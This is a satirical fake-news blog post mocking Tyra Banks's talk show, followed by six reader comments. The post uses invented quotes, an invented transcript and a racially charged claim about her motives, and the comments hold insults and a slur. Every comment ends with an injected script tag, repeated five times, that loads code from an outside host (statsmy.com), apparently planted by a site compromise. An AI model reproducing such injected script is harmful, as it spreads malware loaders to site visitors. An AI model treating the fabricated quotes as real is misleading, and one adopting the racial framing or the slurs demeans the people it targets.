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Tyra Banks Show Proves Old Adage That Pretty Faces Should Be Seen And Not Heard

by Mark on 4/24/2006 (6)

There will be no hitting, no striking, no hitting, no hitting...

Did I mention I modeled a 10 million dollar bra?

ASSOCIATED PULL - The new Tyra Banks Morning Show lends credibility to the age-old adage that "pretty faces should be seen and not heard" according to Hollywood analyst Trevor Razor in a no-holds-barred interview with entertainment pundits and reporters.

"Tyra is a typical example of a supermodel that is better seen and not heard. After all, lets fess up, she didn't get paid to think, and I think that's safe to say for any pricey pretty face. I'm starting to wonder if the FOX network overlooked that, or maybe even planned the show that way. After all, the morning TV slot isn't the realm of rocket scientists, you know. Take a look at this recent diatribe between Tyra and a self-confessed male spousal abuser that was transcripted as follows:"

"Mr. Gobels, you came on this show to tell America that is is wrong to hit."

"T-That's correct Tyra. I-I feel so remorseful. I just don't know what to do...*sob!*

"Mr. Gobels, you know it is wrong to hit...to strike...to hit...to hit...to strike...to slap, no slapping...no hitting...no hitting...no striking..."

"u-Uh, yeah, I get it, that's why I'm here, to say that..."

"Mr. Gobels, we are about to bring your ex on stage with you. You are not to strike her...no hitting...no striking...no slapping...no slapping...no slapping..."

"Tyra, I get your goddamn drift, no hitting, no hitting, yeah, you know what, you're starting to really piss me off, I think..."

"Mr. Gobels, did you know that I modeled a 10 million dollar diamond studded bra? Mr. Gobels? Mr. Gobels, put down that chair!"

Razor rubbed his brow and chuckled softly

"That's pretty much the gist of the show, you might even call that a cerebral high point, in fact. The saddest part is that this Gobels guy agreed to come on the show in the first place. Truth be known, the real premise behind the Tyra Show is one of a proud, rich, black woman who was somehow slighted in the modeling industry because of her race, and wished for, and was granted, a TV show for use as a vehicle to get even with the white people she percieves as causing her so much pain. It's obvious her feelings were badly hurt sometime and someplace, and it's just a sad story all around, when you analyze it for what it really is."

This Hollywood trend of all looks, no intellect, programming promises to continue with "The Tom Cruise Theology Hour" slated for release this fall, and "The Paris Hilton Psychology Primer" later next year.

For more on the sordid soft underbelly of TV talk show hosts, see this smthop.com article about Maury:
http://www.smthop.com/articles1details.asp?NewsNum=413

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1. by Scott on 3/1/2007 4:52:29 PM

Don't hate. America loves her. Especially 18-49. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

2. by drewz on 3/1/2007 4:52:29 PM

Maybe you need to reach out to someone mr know it all. I think that is what she is trying to do, dont you think? You seem pretty stupid to be talking about someone who has more heart than you do. Dig a hole and put your head in it seeing that you cant look as pretty as tyra.YOU NEED TO BE SEEN AND NOT HEARD.Keep hate alive mr smoltz liquor. "AMERICA LOVE TYRA" why dont you find the positive in what she is trying to do. A FIVE YEAR OLD CAN FIGURE THAT OUT. WHY CANT YOU? Go Get a LIFE HATER and leave ms banks alone. CHUMP! </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

3. by Motz on 3/1/2007 4:52:29 PM

The worst of all is Maury. He plays sick people and retarded kids to get ratings. He turns them into a freak show, while acting like he is helping them at the same time. Tyra plays people like a master. She knows how to pick the right personality types, camera angles and shots, and use them for her own selfish agenda. Don't think for a minute that any of these talk show hosts are out to help people. If they were, they would join the Salvation Army. They are out to promote themselves and further their cause, whatever cause that may be. If anyone can be labeled a race-baiting hater, it's Tyra and her producers. And shame on FOX for giving her a network to broadcast it on. Lets hope it gets cancelled soon.nemo </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

4. by KC on 3/1/2007 4:52:29 PM

Tyra put a banner on her show that said "white people will be a minority by 2030". wtf is that all about. fucking racist biachis </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

5. by roserain2005 on 3/1/2007 4:52:29 PM

OH MY GOD.....OF ALL THE THINGS TO GET MAD ABOUT PEOPLE....JEEZ.....YA'LL NEED TO GET A LIFE! GET MAD ABOUT ABORTION BEING LEGAL....GET MAD ABOUT CHILD MOLESTERS AND RAPISTS ONLY DOING FIVE YEARS IN PRISONS...BUT FOR GOD'S SAKES DON'T WASTE YOUR TIME GETTING MAD ABOUT THAT SELFISH BITCH TYRA BANKS!!!!!!!1 sr </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

6. by Cristina on 3/1/2007 4:52:29 PM

Everyone analyzes everything way to much. I personally don't like the show, but I am not going to tear it down. For those who don't like it, fine and for those who do, more power to you. But there is no need for bashing and negativity. All talk shows are there for entertainment. NOT ONE of them are really there to "HELP" someone, it's all for ratings and to put money in their pocket.n.ru </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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